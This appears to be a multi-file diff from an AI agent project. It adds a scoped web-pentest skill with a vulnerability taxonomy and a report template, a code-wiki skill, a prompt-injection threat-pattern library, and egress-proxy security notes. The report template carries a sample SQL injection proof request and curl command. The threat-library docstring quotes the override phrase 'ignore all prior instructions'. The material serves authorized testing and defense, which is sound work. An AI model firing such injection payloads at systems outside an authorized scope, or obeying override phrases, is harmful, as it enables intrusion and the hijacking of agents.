+| `curl URL` | The URL | `curl https://staging.example.com/login` |
+| `curl --resolve HOST:PORT:ADDR` | HOST | reject — resolve overrides scope |
+| `nmap TARGET` | Each TARGET arg | `nmap 10.0.5.5 staging.example.com` |
+| `whatweb URL` | The URL | `whatweb https://staging.example.com` |
+| `browser_navigate(url)` | The URL | python-side: extract host from `url` |
+| Tool-driven HTTP (sqlmap, wfuzz, gobuster) | `-u`, `-h`, target arg | depends on tool |
+
+For URLs: `urllib.parse.urlparse(url).hostname.lower()`.
+For raw IPs: keep as IP, check against CIDR entries with
+`ipaddress.ip_address(host) in ipaddress.ip_network(cidr)`.
+
+## Pre-Send Checklist
+
+For every active request, before you press enter:
+
+1. Did you extract the host correctly? (URL host, not Host header, not
+   `--resolve` aliasing.)
+2. Is the host in scope.txt (exact hostname match) OR is its resolved
+   IP in a scope.txt CIDR?
+3. If it's a redirect target you're following, did you re-check scope
+   on the redirect URL?
+4. If it's the second hop of an SSRF probe, is the inner URL in scope?
+   (Usually NOT — that's the whole point. Don't auto-fire.)
+5. Did the operator approve this class of payload? (Read-only recon
+   is auto-OK; destructive payloads need explicit OK.)
+
+If any answer is "no" or "not sure," STOP and ask the operator.
+
+## Things That Look In-Scope But Aren't
+
+- **Redirects to a parent or sister host.** `staging.example.com` →
+  `auth.example.com` is a different host. Stop, re-confirm.
+- **CNAMEs.** `app.staging.example.com` may CNAME to
+  `prod-cluster.aws.example.com`. Resolve and check IP, not just name.
+- **Cloud metadata IPs.** `169.254.169.254` is not in any sane
+  scope.txt. If your SSRF candidate resolves there, you're probably
+  testing against a real cloud host and need explicit approval before
+  the probe.
+- **127.0.0.1 / localhost on a shared box.** If you're in a container
+  or shared dev box, `localhost` may be someone else's service.
+  Confirm with the operator that 127.0.0.1 means what they think.
+- **External services the target depends on.** Stripe API, OAuth
+  providers, S3 buckets — even if your tests would touch them, they
+  are NOT in scope by default.
+
+## When Scope Fails Open
+
+If you can't decide whether a host is in scope:
+
+```
+DEFAULT: out of scope.
+```
+
+Stop the agent. Ask the operator. Resume only after written
+confirmation. There is no penalty for asking; there is significant
+penalty for testing the wrong host.
+
+## Logging
+
+Every active request should append to `engagement/request-log.jsonl`:
+
+```json
+{"ts": "2026-05-25T03:14:15Z", "method": "GET", "url": "https://staging.example.com/api/users", "host": "staging.example.com", "in_scope": true, "phase": "recon", "result_status": 200, "evidence_ref": "evidence/recon.md#endpoints"}
+```
+
+This is your audit trail. If anyone ever asks "why did the pentest
+agent hit X?" you can answer from this log.

+# Vulnerability Taxonomy
+
+Two classification systems used during analysis. Both come from Shannon
+(concepts only; rewritten here). Both exist to make the question
+"is this exploitable?" mechanical instead of vibes-based.
+
+## Injection: Slot Types
+
+Every injection sink has a **slot type** — the lexical position the
+attacker payload lands in. Each slot type has a small set of
+**required defenses**. A mismatch is a vulnerability. The same defense
+applied to the wrong slot is also a vulnerability.
+
+| Slot | Example | Required defense |
+|------|---------|------------------|
+| `SQL-val` | `SELECT * FROM u WHERE id = :v` | Parameterized binding |
+| `SQL-ident` | `SELECT * FROM ${table}` | Allowlist on identifier values |
+| `SQL-keyword` | `ORDER BY ${col} ${dir}` | Allowlist on column AND direction |
+| `CMD-argument` | `subprocess.run(["ls", v])` | argv list (never shell=True) |
+| `CMD-shell` | `os.system("ls " + v)` | DON'T — refactor to argv list |
+| `PATH-segment` | `open("/data/" + v)` | Normalize + allowlist + base-relative check |
+| `URL-host` | redirect to `https://${v}/x` | Allowlist of acceptable hosts |
+| `URL-fetch` | `requests.get(v)` | Allowlist + block private/metadata IPs (SSRF) |
+| `TEMPLATE-string` | `Template("Hello {{ v }}")` | Autoescape ON, no user-controlled template syntax |
+| `DESERIALIZE-pickle` | `pickle.loads(v)` | DON'T — use JSON / msgpack |
+| `DESERIALIZE-yaml` | `yaml.load(v)` | `yaml.safe_load`, never `yaml.load` |
+| `XPATH-expr` | `tree.xpath("//u[@id='" + v + "']")` | Parameterized XPath or escape |
+| `LDAP-filter` | `(uid=${v})` | LDAP filter escaping |
+| `REGEX-pattern` | `re.search(v, text)` | Don't take pattern from user (ReDoS too) |
+| `LOG-record` | `log.info("got " + v)` | Encode CR/LF/control chars before logging |
+| `EMAIL-header` | `Subject: ${v}` | Reject CR/LF |
+| `HTTP-header` | `Set-Cookie: ${v}` | Reject CR/LF (response splitting) |
+
+When you classify a finding:
+1. Identify the slot type
+2. Identify the actual defense in the code (if you have source)
+3. If defense doesn't match the required-defense set: vulnerable
+
+## XSS: Render Contexts
+
+XSS exploitability depends on **where** in the HTML/JS the value lands.
+Encoding for one context doesn't protect another.
+
+| Context | Example | Required encoding |
+|---------|---------|-------------------|
+| `HTML_BODY` | `<div>{{ v }}</div>` | HTML entity encode `<>&"'` |
+| `HTML_ATTR_QUOTED` | `<a href="{{ v }}">` | HTML attr encode |
+| `HTML_ATTR_UNQUOTED` | `<a href={{ v }}>` | Almost impossible to safely encode; quote the attr |
+| `URL_ATTR` (href/src) | `<a href="{{ v }}">` | Validate scheme allowlist + attr encode |
+| `JAVASCRIPT_STRING` | `<script>var x = "{{ v }}";</script>` | JS string escape + ensure quote consistency |
+| `JAVASCRIPT_BLOCK` | `<script>{{ v }}</script>` | DON'T — refactor; no safe encoding |
+| `CSS_VALUE` | `<style>color: {{ v }};</style>` | CSS encode + allowlist scheme/format |
+| `CSS_BLOCK` | `<style>{{ v }}</style>` | DON'T — refactor |
+| `JSON_RESPONSE` (consumed by JS) | `JSON.parse(response)` | JSON encode + correct content-type header |
+| `EVENT_HANDLER` | `<div onclick="{{ v }}">` | JS string escape *inside* HTML attr encode |
+| `URL_PATH` (router-driven) | route param echoed unencoded | URL-encode + HTML-encode |
+| `DOM_INNERHTML` | `el.innerHTML = v` (DOM XSS) | Use `textContent` instead, or DOMPurify |
+| `DOM_DOC_WRITE` | `document.write(v)` | DON'T — refactor |
+
+When you classify:
+1. Identify the render context where user input lands
+2. Identify the encoding applied
+3. Mismatch = vulnerable. Even "HTML encoded" output in
+   `JAVASCRIPT_STRING` is exploitable (`</script><script>` evasion).

+
+## Authorization Basis
+
+(Pick one — record evidence in writing for anything but ownership.)
+
+- [ ] Operator owns the application and infrastructure being tested.
+- [ ] Written authorization from <name, role, organization, date>.
+      Document stored at: <path or link to signed authorization>.
+- [ ] Hermes Agent dashboard, running on this same workstation, used

+      connected to the dashboard instance during the engagement.
+
+## Out of Scope (must not be tested)
+
+- Production systems unless explicitly listed above
+- Third-party APIs / SaaS the application calls into
+- Other tenants if the target is multi-tenant
+- Cloud metadata endpoints (169.254.169.254, etc.) unless explicitly
+  included above
+- Destructive payloads (DROP, DELETE, file writes outside test

+- Active social engineering, phishing, physical security
+
+## Constraints
+
+- Rate limit: <N> req/s per host. Default 5/s (200ms gap).
+- Hours: <none> | <only between HH:MM and HH:MM local>
+- Notify-before for: <list of categories> e.g. "any payload that

+
+## Acknowledgement
+
+By approving this engagement, the operator confirms:
+
+1. The targets listed above are authorized for active testing by the
+   listed authorization basis.
+2. Testing may produce HTTP 4xx/5xx responses, log noise, alert
+   notifications, and rate-limit triggers in monitoring systems.
+3. The operator is responsible for any consequences of testing
+   targets that are NOT correctly authorized.
+4. The operator will revoke authorization (by stopping the agent) if
+   the scope changes, the time window ends, or any unexpected
+   off-scope behavior is observed.

+In-scope targets (from `engagement/scope.txt`):
+
+- <host or CIDR>
+
+Out of scope: see `engagement/authorization.md`.
+
+Authorization basis: see `engagement/authorization.md`.
+
+## Methodology
+
+Approach was based on the Hermes `web-pentest` skill (a Hermes Agent
+adaptation of the OWASP Testing Guide with elements of Shannon's
+proof-based methodology). Phases performed:
+
+- [ ] Pre-recon (source code review)
+- [ ] Recon (live, read-only)
+- [ ] Vulnerability analysis (one queue per OWASP class)
+- [ ] Exploitation (proof-based)
+- [ ] Reporting
+
+Tools used: <nmap, whatweb, curl, Hermes browser tool, ...>.
+
+## Findings (L3/L4 — Verified Exploitable)
+
+> Every finding in this section has a reproducible proof-of-concept.
+> L1/L2 candidates that were not promoted to confirmed exploitation
+> are listed in the "Not Exploited" section.
+
+### F-001: <Title>
+
+- **Severity:** Critical | High | Medium | Low
+- **CVSS 3.1 vector:** `CVSS:3.1/AV:N/AC:L/...`
+- **CVSS 3.1 base score:** N.N
+- **CWE:** CWE-XX
+- **Affected endpoint(s):** `GET https://target.example/api/...`
+- **Affected parameter(s):** `id`
+- **Discovered:** <date>
+
+#### Description
+
+<What is the bug, in plain language.>
+
+#### Proof
+
+Request:
+
+```http
+GET /api/items?id=1%27%20OR%201=1-- HTTP/1.1
+Host: target.example
+Cookie: session=...
+```
+
+Response (excerpt):
+
+```http
+HTTP/1.1 200 OK
+Content-Type: application/json
+
+[{"id":1,...}, {"id":2,...}, ... <full table dumped>]
+```
+
+#### Reproduction
+
+```bash
+curl -sS 'https://target.example/api/items?id=1%27%20OR%201=1--' \
+     -H 'Cookie: session=YOUR_TEST_SESSION'
+```
+
+#### Impact
+
+<What an attacker gains. Be specific. "Could allow data extraction" is
+worse than "Allowed extraction of all 4 columns from the `users` table
+in our test (PoC redacted PII), and the same query shape applies to
+any other parameter using the same code path.">
+
+#### Remediation
+
+<Specific, actionable. "Use parameterized queries" is better than
+"sanitize inputs." Include code example if possible.>
+
+#### Verification (post-fix)
+
+To verify the fix, re-run the reproduction command. The response
+should be HTTP 400, an empty result, or a result containing only the
+record matching `id=1` literally.

+
+## Not Exploited (L1/L2 candidates)
+
+Candidates that pattern-matched but were not promoted to L3 within
+the engagement window. Listed for completeness; do NOT report these
+as confirmed vulnerabilities.
+
+| ID | Class | Endpoint | Status | Why not promoted |
+|----|-------|----------|--------|------------------|
+| INJ-002 | SQLi | `/api/search?q=` | L2 partial | Bypass set exhausted; appears to use parameterized binding |
+| XSS-003 | reflected | `/error?msg=` | L1 identified | Could not produce executable context — output is JSON-encoded |
+
+---
+
+## Out-of-Scope Observations
+
+(Findings or hints noticed but NOT tested because they were outside
+scope. These are documentation, not findings. The operator decides
+whether to extend scope and re-test.)
+
+- The application sends to `https://third-party.example/...` — payload
+  could trigger third-party-side bugs but third party is out of scope.
+
+---
+
+## Limitations
+
+What was NOT tested, and why:
+
+- <Class of test>: <reason>
+
+Examples:
+- DDoS / stress testing — explicitly excluded by engagement scope.
+- Authenticated business-logic flows requiring billing — no test
+  credit card available.
+- Mobile API surfaces — out of scope.
+
+---
+
+## Appendices
+
+- A: `engagement/authorization.md` — authorization on file
+- B: `engagement/scope.txt` — machine-readable scope
+- C: `engagement/request-log.jsonl` — every active request issued
+- D: `findings/*-queue.json` — per-class candidate queues
+- E: `evidence/` — raw captures (request/response pairs)

+## Disclaimer
+
+This report describes vulnerabilities discovered during a
+time-bounded penetration test against the listed targets within the
+listed scope. Absence of a finding in this report does not imply the

+
+# Code Wiki Skill
+
+Generate a comprehensive wiki for any codebase — overview, architecture, per-module deep-dives, Mermaid class and sequence diagrams. Inspired by Google CodeWiki, but works on local repos, private repos, and any language. Uses only existing Hermes tools (`terminal`, `read_file`, `search_files`, `write_file`); no Docker, no external services, no extra dependencies.
+
+This skill produces **reference documentation** (what/how). It does not produce strategic narrative (why — that's a different skill).
+
+## When to Use
+
+- User says "document this codebase", "generate a wiki", "make architecture diagrams"
+- Onboarding to an unfamiliar repo and wants a structured reference
+- User points at a GitHub URL and asks for documentation
+- Need a stable artifact (markdown + Mermaid) that renders on GitHub
+
+Do NOT use this for:
+- Single-file or single-function documentation — just answer directly
+- API reference for one specific endpoint — use `read_file` and answer inline
+- Strategic "why does this exist" narrative — different skill, different purpose
+- Codebases the user is actively developing in this session — just answer questions as they come
+
+## Prerequisites
+
+- No env vars required.
+- `git` on PATH for repo SHA tracking and remote clones.
+- Optional: `pygount` for language-breakdown stats (see the `codebase-inspection` skill).
+
+## How to Run
+
+Invoke through the `terminal` tool from the target repo's root, then use `read_file` / `search_files` / `write_file` to produce the wiki. Default output location is `~/.hermes/wikis/<repo-name>/`. Only write into the repo (`docs/wiki/`) when the user explicitly requests it.
+
+## Quick Reference
+
+| Step | Action |
+|---|---|
+| 1 | Resolve target — local cwd, given path, or `git clone --depth 50 <url>` to a temp dir |
+| 2 | Scan structure — `ls`, `find -maxdepth 3`, manifest files, README |
+| 3 | Pick 8–10 modules to document |
+| 4 | Write `README.md` (overview + module map) |
+| 5 | Write `architecture.md` with Mermaid flowchart |
+| 6 | Write per-module docs in `modules/` |
+| 7 | Write `diagrams/class-diagram.md` (Mermaid classDiagram) |
+| 8 | Write `diagrams/sequences.md` (Mermaid sequenceDiagram, 2–4 workflows) |
+| 9 | Write `getting-started.md` |
+| 10 | Write `api.md` if applicable, else skip |
+| 11 | Write `.codewiki-state.json` |
+| 12 | Report paths to user |
+
+## Procedure
+
+### 1. Resolve the target
+
+For a GitHub URL:
+
+```bash
+WIKI_TMP=$(mktemp -d)
+git clone --depth 50 <url> "$WIKI_TMP/repo"
+cd "$WIKI_TMP/repo"
+REPO_SHA=$(git rev-parse HEAD)
+REPO_NAME=$(basename <url> .git)
+```
+
+For a local path (or cwd if none given):
+
+```bash
+cd <path>
+REPO_SHA=$(git rev-parse HEAD 2>/dev/null || echo "uncommitted")
+REPO_NAME=$(basename "$PWD")
+```
+
+Then set the output dir:
+
+```bash
+OUTPUT_DIR="$HOME/.hermes/wikis/$REPO_NAME"
+mkdir -p "$OUTPUT_DIR/modules" "$OUTPUT_DIR/diagrams"
+```
+
+### 2. Scan repo structure
+
+Use the `terminal` tool for the shell work, `read_file` for manifests:
+
+```bash
+# Shallow tree first
+ls -la
+
+# Deeper tree, noise filtered
+find . -type d \
+  -not -path '*/\.*' \
+  -not -path '*/node_modules*' \
+  -not -path '*/venv*' \
+  -not -path '*/__pycache__*' \
+  -not -path '*/dist*' \
+  -not -path '*/build*' \
+  -not -path '*/target*' \
+  -maxdepth 3 | sort
+
+# Language breakdown (skip if pygount unavailable)
+pygount --format=summary \
+  --folders-to-skip=".git,node_modules,venv,.venv,__pycache__,.cache,dist,build,target" \
+  . 2>/dev/null || true
+```
+
+Then `read_file` the relevant manifests (`package.json`, `pyproject.toml`, `setup.py`, `Cargo.toml`, `go.mod`, `pom.xml`, `build.gradle`) and the project README. Use `search_files target='files'` to find them rather than guessing names.
+
+### 3. Pick modules to document
+
+Cap initial pass at **8–10 modules**. Heuristics by language:
+
+- Python: top-level packages (dirs with `__init__.py`), plus subsystem dirs
+- JS/TS: `src/<subdir>`, top-level workspace dirs
+- Rust: each crate in a workspace, or top-level `src/<module>` dirs
+- Go: each top-level package directory
+- Mixed/unfamiliar: top-level directories that contain source code (not config, not tests)
+
+For very large repos, prioritize by:
+1. Imported-from count (a module imported by many is core)
+2. LOC (bigger modules usually warrant their own doc)
+3. Mentions in README / top-level docs
+
+State the module list to the user before generating per-module docs on big repos — gives them a chance to redirect.
+
+### 4. Write `README.md`
+
+`read_file` the actual project README plus the top 2–3 entry-point files. Then `write_file`:
+
+````markdown
+# <Project Name>
+
+<One paragraph: what it is and what it's for. Self-contained — don't assume the
+reader has the source README.>
+
+## Key Concepts
+
+- **<Concept 1>** — <one line>
+- **<Concept 2>** — <one line>
+
+## Entry Points
+
+- [`path/to/main.py`](<link>) — <what runs when you start it>
+- [`path/to/cli.py`](<link>) — <CLI surface>
+
+## High-Level Architecture
+
+<2-3 sentences. Detail goes in architecture.md.>
+
+See [architecture.md](architecture.md).
+
+## Module Map
+
+| Module | Purpose |
+|---|---|
+| [`<module>`](modules/<module>.md) | <one-line purpose> |
+
+## Getting Started
+
+See [getting-started.md](getting-started.md).
+````
+
+For link targets in local mode use relative paths. For cloned repos use `https://github.com/<owner>/<repo>/blob/<sha>/<path>` so links survive future commits.
+
+### 5. Write `architecture.md`
+
+````markdown
+# Architecture
+
+<2-3 paragraphs: shape of the system. What talks to what. Where data enters,
+where it exits, where state lives.>
+
+## Components
+
+- **<Component>** — <1-2 sentences>. See [`modules/<module>.md`](modules/<module>.md).
+
+## System Diagram
+
+```mermaid
+flowchart TD
+    User([User]) --> Entry[Entry Point]
+    Entry --> Core[Core Engine]
+    Core --> StorageA[(Database)]
+    Core --> ExternalAPI{{External API}}
+```
+
+## Data Flow
+
+1. **<Step>** — [`<file>`](<link>)
+2. **<Step>** — [`<file>`](<link>)
+
+## Key Design Decisions
+
+- <Anything load-bearing the reader should know>
+````
+
+**Mermaid shape semantics:**
+- `[]` = component
+- `[()]` = database / storage
+- `{{}}` = external service
+- `(())` = entry point or terminal
+- `-->` = sync call, `-.->` = async/event
+
+Cap at ~20 nodes per diagram. Split into sub-diagrams if larger.
+
+### 6. Write per-module docs in `modules/`
+
+For each selected module, inspect its layout with `ls`, identify 3–5 most important files (by size, by being named `core.py` / `main.py` / `__init__.py`, by being imported a lot), then `read_file` those files (use `offset` / `limit` to read only what you need; prefer `search_files` for specific symbols).
+
+````markdown
+# Module: `<module>`
+
+<1-2 sentence purpose.>
+
+## Responsibilities
+
+- <bullet>
+- <bullet>
+
+## Key Files
+
+- [`<module>/<file>`](<link>) — <what it does>
+
+## Public API
+
+<Functions/classes/constants other code uses. Group related items. Show

+````
+
+### 7. Write `diagrams/class-diagram.md`
+
+Pick the 5–10 most important classes/types. `read_file` them, then write:
+
+````markdown
+# Class Diagram
+
+## Core Types
+
+```mermaid
+classDiagram
+    class Agent {
+        +string name
+        +list~Tool~ tools
+        +chat(message) string
+    }
+    class Tool {
+        <<interface>>
+        +name string
+        +execute(args) any
+    }
+    Agent --> Tool : uses
+    Tool <|-- TerminalTool
+    Tool <|-- WebTool
+```
+
+## Notes
+
+<Anything the diagram can't express — lifecycle, threading, etc.>
+````
+
+For languages without classes (Go, C, Rust): use the diagram for struct relationships, or skip class-diagram.md and explain it in prose in architecture.md. Don't force-fit.
+
+### 8. Write `diagrams/sequences.md`
+
+Pick 2–4 of the most important workflows. Trace each call path through the code (read entry point, follow function calls), then:
+
+````markdown
+# Sequence Diagrams
+
+## Workflow: <Name>
+
+<1 sentence describing what this does and when it runs.>
+
+```mermaid
+sequenceDiagram
+    participant User
+    participant CLI
+    participant Agent
+    participant LLM
+    User->>CLI: types message
+    CLI->>Agent: chat(message)
+    Agent->>LLM: API call
+    LLM-->>Agent: response + tool_calls
+    Agent->>Agent: execute tools
+    Agent-->>CLI: final response
+```
+
+### Walkthrough
+
+1. **User input** — [`cli.py:HermesCLI.run_session`](<link>)
+2. **Message dispatch** — [`run_agent.py:AIAgent.chat`](<link>)
+````
+
+Don't invent participants. Every box must correspond to a real component the reader can find in the code.
+
+### 9. Write `getting-started.md`
+
+````markdown
+# Getting Started
+
+## Prerequisites
+
+<From manifest files + README. Be specific — versions if pinned.>
+
+## Installation
+
+```bash
+<exact commands>
+```
+
+## First Run
+
+```bash
+<minimum command to see the system do something useful>
+```
+
+## Common Workflows
+
+### <Workflow 1>
+<commands>
+
+## Configuration
+
+- `<config-file>` — <what it controls>
+- Env var `<VAR>` — <what it controls>
+
+## Where to Go Next
+
+- Architecture: [architecture.md](architecture.md)
+- Module reference: [README.md#module-map](README.md#module-map)
+````
+
+### 10. Write `api.md` (skip if not applicable)
+
+Only write this if the project is a library or API server. If it is:
+
+- Find the public API surface (`__init__.py` exports, OpenAPI specs, route handlers, exported types)
+- Document each public entry with signature, parameters, return type, one-line description
+- Group by category
+
+### 11. Write the state file
+
+```bash
+cat > "$OUTPUT_DIR/.codewiki-state.json" <<EOF
+{
+  "repo_name": "$REPO_NAME",
+  "source_path": "$PWD",
+  "source_sha": "$REPO_SHA",
+  "generated_at": "$(date -u +%Y-%m-%dT%H:%M:%SZ)",
+  "generator": "hermes-agent code-wiki skill v0.1.0",
+  "modules_documented": []
+}
+EOF
+```
+
+### 12. Report to user
+
+State exactly what was generated and where:
+
+```
+Generated wiki at ~/.hermes/wikis/<repo-name>/:
+  README.md                   project overview, module map
+  architecture.md             system architecture + flowchart
+  getting-started.md          setup, first run, workflows
+  modules/<N files>           per-module deep-dives
+  diagrams/architecture.md    Mermaid flowchart
+  diagrams/class-diagram.md   Mermaid class diagram
+  diagrams/sequences.md       Mermaid sequence diagrams
+```
+
+If you cloned to a temp dir, remind the user it can be removed (`rm -rf "$WIKI_TMP"`) after they've reviewed the wiki.
+
+## Scope Control
+
+Generating a full wiki for a 500K-LOC monorepo is wildly token-expensive. Default to bounded scope:
+
+- Initial scan: max depth 3 directories
+- Per-module docs: cap at 10 modules unless user expands scope
+- Per-file reads: prefer `search_files` for symbols + `read_file` with `offset`/`limit` over full reads
+- Skip vendored code (`vendor/`, `third_party/`, generated code, `_pb2.py`, `.min.js`)
+
+If the user says "do the whole thing exhaustively", believe them — but ballpark the cost first: "this repo has ~340 source files, comprehensive coverage will be expensive — confirm?"
+
+## Re-Run / Update
+
+If `.codewiki-state.json` already exists at the target path:
+
+- Read it for previous SHA and module list
+- If source SHA matches: ask user if they want to regenerate or skip
+- If SHA differs: offer to regenerate only modules with changed files (`git diff --name-only <old-sha> HEAD`)
+
+Full incremental-regeneration is a future enhancement — for now, regenerating the whole thing is acceptable.
+
+## Pitfalls
+
+- **Fabricating components.** Every diagram node and claimed function call must be in the source. `read_file` before writing. The single biggest failure mode for auto-generated docs is plausible-sounding fabrication.
+- **Generic AI prose.** "This module is responsible for..." is content-free. Say what the module actually does in domain-specific terms.
+- **Restating code as prose.** A module doc that says "the `process` function processes things by calling `process_item` on each item" is worse than just linking to the function.
+- **Mermaid > 50 nodes.** They don't render legibly. Split them.
+- **Documenting tests, generated code, or vendored deps as if they were product code.** Skip them.
+- **In-repo output without asking.** Default is `~/.hermes/wikis/`. Only write into the repo when the user explicitly requests it.
+- **Mermaid special chars need quotes:** `A["Tool / Agent"]` not `A[Tool / Agent]`. `<br>` for line breaks inside a node.
+- **Nested code fences in SKILL.md.** When writing a markdown example that contains a Mermaid block, use 4-backtick outer fences so the 3-backtick inner ` ```mermaid ` doesn't close the outer. (This SKILL.md does it.)
+- **classDiagram generics** render as `~T~` (e.g. `List~Tool~`), not `<T>`.
+- **GitHub Mermaid theme is fixed** — don't include `%%{init: ...}%%` blocks; they're stripped on render.
+
+## Verification
+
+After writing, verify:
+
+1. **Mermaid blocks balance** — opens equal closes per file:
+   ```bash
+   for f in "$OUTPUT_DIR"/diagrams/*.md "$OUTPUT_DIR"/architecture.md; do
+     opens=$(grep -c '^```mermaid' "$f")
+     total=$(grep -c '^```' "$f")
+     echo "$f: $opens mermaid blocks, $total total fences (expect total = opens*2)"
+   done
+   ```
+2. **All expected files exist** —
+   ```bash
+   ls "$OUTPUT_DIR"/{README.md,architecture.md,getting-started.md,.codewiki-state.json} \
+      "$OUTPUT_DIR"/modules/ "$OUTPUT_DIR"/diagrams/
+   ```
+3. **Module count matches what you intended** — `ls "$OUTPUT_DIR/modules" | wc -l` should equal the number of modules you committed to in Step 3.
+4. **No fabricated paths** — sanity-check 2–3 source links resolve to real files.

+has a flat-string ``model:`` value instead of a nested dict.
+
+Before fix: ``cfg.setdefault("model", {})`` returned the existing string and
+the next assignment raised ``TypeError: 'str' object does not support item
+assignment``, so every ``/model X --global`` from Telegram/Discord crashed
+silently and the user-visible result was "switch failed" with no persist.
+
+After fix: the persist block coerces a scalar ``model:`` into a nested dict
+before mutation, so ``--global`` succeeds and the config is rewritten in

+"""Shared threat-pattern library for context window security scanning.
+
+This module is the single source of truth for prompt-injection / promptware /
+exfiltration patterns used across the context-assembly scanners
+(``agent/prompt_builder.py``, ``tools/memory_tool.py``) and the tool-result
+delimiter system in ``agent/tool_dispatch_helpers.py``.
+
+Pattern philosophy
+------------------
+Patterns are organized by ATTACK CLASS, not by source file.  Each pattern
+is a ``(regex, pattern_id, scope)`` tuple, where ``scope`` controls which
+scanners use it:
+
+- ``"all"``  — applied everywhere (classic prompt injection, exfiltration)
+- ``"context"`` — applied to context files + memory + tool results
+  (promptware / C2 / behavioral hijack; broader detection)
+- ``"strict"`` — applied to memory writes + skill installs only
+  (aggressive checks acceptable for user-curated content but too noisy
+  for tool results)
+
+The split exists because tool results contain web pages, GitHub issues,
+and MCP responses — content the user did not author — and we want broad
+detection there, but blocking is reserved for paths where the user can
+intervene (memory writes, skill installs).
+
+Pattern anchoring
+-----------------
+New patterns anchor on **C2-specific vocabulary or unambiguous attack
+behavior**, NOT on bossy English.  Phrases like "you are obligated to"
+or "you must" alone are too common in legitimate instruction-writing
+(see AGENTS.md, CLAUDE.md, etc.) to flag.  See the pattern comments for
+the rationale on borderline cases.
+
+Multi-word bypass
+-----------------
+Patterns use ``(?:\\w+\\s+)*`` between key tokens to prevent attackers
+from inserting filler words (e.g. "ignore all prior instructions" instead
+of "ignore all instructions").  This mirrors the fix applied to
+``skills_guard.py`` in commit 4ea29978.

+
+# Egress proxy internals
+
+This page covers the architecture of the egress credential-injection firewall (`hermes egress` / iron-proxy) from a contributor / plugin author's perspective. End-user setup + usage docs live at [Egress proxy](../user-guide/egress/iron-proxy.md).
+
+The threat model and high-level design are summarised on the user page; this page is about *how* it's wired, where the security-relevant code lives, and what invariants you have to preserve if you touch it.

+
+## Security invariants
+
+These are the load-bearing properties.  If you touch the module, you must preserve them.  Where there's a regression test, it's named.
+
+### Filesystem perms
+
+| Path | Mode | Test |
+|---|---|---|
+| `~/.hermes/proxy/` (dir) | `0o700` | `test_proxy_state_dir_is_0o700` |
+| `ca.key` | `0o600` | `test_ca_key_created_with_0o600` |
+| `ca.crt` | `0o644` | (implicit; chmod call in `ensure_ca_cert`) |
+| `proxy.yaml` | `0o600` | (chmod after atomic rename in `write_proxy_config`) |
+| `mappings.json` | `0o600` | (chmod after atomic rename in `write_mappings`) |
+| `iron-proxy.pid` | `0o600` | (`os.open(..., 0o600)` mode in `_write_pidfile_safely`) |
+| `iron-proxy.nonce` | `0o600` | (`os.open(..., 0o600)` mode in `_write_pidfile_safely`) |
+| `audit.log` | `0o600` | `test_ensure_audit_log_creates_with_0o600` |
+| `iron-proxy.log` | `0o600` | (`os.open(..., 0o600)` + `fchmod`) |
+
+All write paths use `os.open(O_WRONLY | O_CREAT | O_NOFOLLOW, 0o600)` + `os.fstat().st_uid` check.  `shutil.copy2` + `os.chmod` is forbidden because it leaks a default-umask window.
+
+### Subprocess env minimisation
+
+`_build_proxy_subprocess_env` MUST NOT use `os.environ.copy()`.  The allowlist is `_PROXY_SUBPROCESS_ENV_ALLOWLIST` (PATH, HOME, locale, etc.) plus the env names referenced by `load_mappings()`.  Everything else stays on the host.
+
+Regression: `test_subprocess_env_strips_unrelated_secrets`, `test_subprocess_env_strips_proxy_recursion_vars`, `test_subprocess_env_keeps_infrastructure_vars`.
+
+### Bind policy
+
+`_default_http_listen` returns loopback + (Linux only) the docker bridge IP.  Never `0.0.0.0`, never `:PORT` (INADDR_ANY).
+
+`_detect_docker_bridge_ip` validates via `ipaddress.IPv4Address` and rejects `is_unspecified` / `is_loopback` / `is_multicast` / `is_reserved` / `is_link_local` / `is_global`.  A hostile `ip` shim on PATH cannot inject `0.0.0.0`.
+
+Regression: `test_default_bind_is_loopback_not_zero_zero`, `test_detect_docker_bridge_ip_rejects_dangerous` (parametrized over 8 attack inputs).
+
+### Default deny CIDRs
+
+`_DEFAULT_UPSTREAM_DENY_CIDRS` covers loopback (v4 + v6), link-local (incl. IMDS at 169.254.169.254 and the IPv4-mapped-v6 form), RFC1918, IPv6 ULA, CGNAT, and the RFC2544 benchmark range.  `build_proxy_config(..., upstream_deny_cidrs=None)` MUST emit the default; only an explicit empty list opts out.
+
+Regression: `test_default_deny_cidrs_present_when_unspecified`, `test_default_deny_includes_ipv4_mapped_v6`.
+
+### Audit log fail-loud
+
+`ensure_audit_log` raises `RuntimeError` on any `OSError`.  Swallowing the failure would let the daemon create the file under the default umask, defeating the privacy promise.  `cmd_setup` catches the RuntimeError and surfaces a clear error to the operator.
+
+Regression: `test_ensure_audit_log_raises_on_immutable_parent`.
+
+### Bitwarden mode fail-loud
+
+When `credential_source: bitwarden` AND `proxy.allow_env_fallback: false` (default):
+- Missing access token env var -> `cmd_start` refuses.
+- Missing `project_id` -> `cmd_start` refuses.
+- `bws secret list` returns no values for one or more mapped providers -> `_build_proxy_subprocess_env` raises.
+
+Falling back to host env in BW mode reintroduces exactly the staleness bug the BW path is meant to defeat.
+
+Regression: `test_cmd_start_refuses_when_bitwarden_token_missing` (CLI layer); strict-mode assertions in `_build_proxy_subprocess_env` (daemon layer).
+
+### docker_env collision detection
+
+When `enforce_on_docker: true`, `docker_env` overrides on any of the egress-controlling vars (HTTPS_PROXY, SSL_CERT_FILE, NODE_EXTRA_CA_CERTS, etc.) OR any mapped `real_env_name` (OPENROUTER_API_KEY, etc.) raises `RuntimeError` BEFORE the container starts.
+
+Regression: `test_docker_env_collision_with_proxy_raises_when_enforce`.
+
+### PID recycling defense
+
+`_pid_alive` MUST consult either the in-process `_proxy_nonce` (same-process case) OR the on-disk `iron-proxy.nonce` (cross-CLI case) before trusting an `argv[0]` basename match.  `stop_proxy` MUST re-check `/proc/<pid>/stat` starttime before SIGKILL and suppress the signal on starttime drift.
+
+Regression: `test_stop_proxy_suppresses_sigkill_on_pid_recycle`, `test_pid_proc_starttime_parses_comm_with_parens`, `test_persisted_nonce_roundtrip`.
+
+### Token preservation on re-setup
+
+`merge_mappings(existing, discovered, rotate=False)` MUST return prior tokens for providers that overlap.  Re-running `hermes egress setup` cannot silently 401 running sandboxes.  `--rotate-tokens` is the explicit opt-in.
+
+Regression: `test_merge_mappings_preserves_existing_tokens`, `test_merge_mappings_rotate_mints_fresh_tokens`.
+
+### `credential_source` preservation
+
+`cmd_setup` MUST NOT downgrade `credential_source: bitwarden` to `env` on re-run without an explicit `--no-bitwarden` flag.  Running `hermes egress setup` (no flag) preserves whatever was previously configured.
+
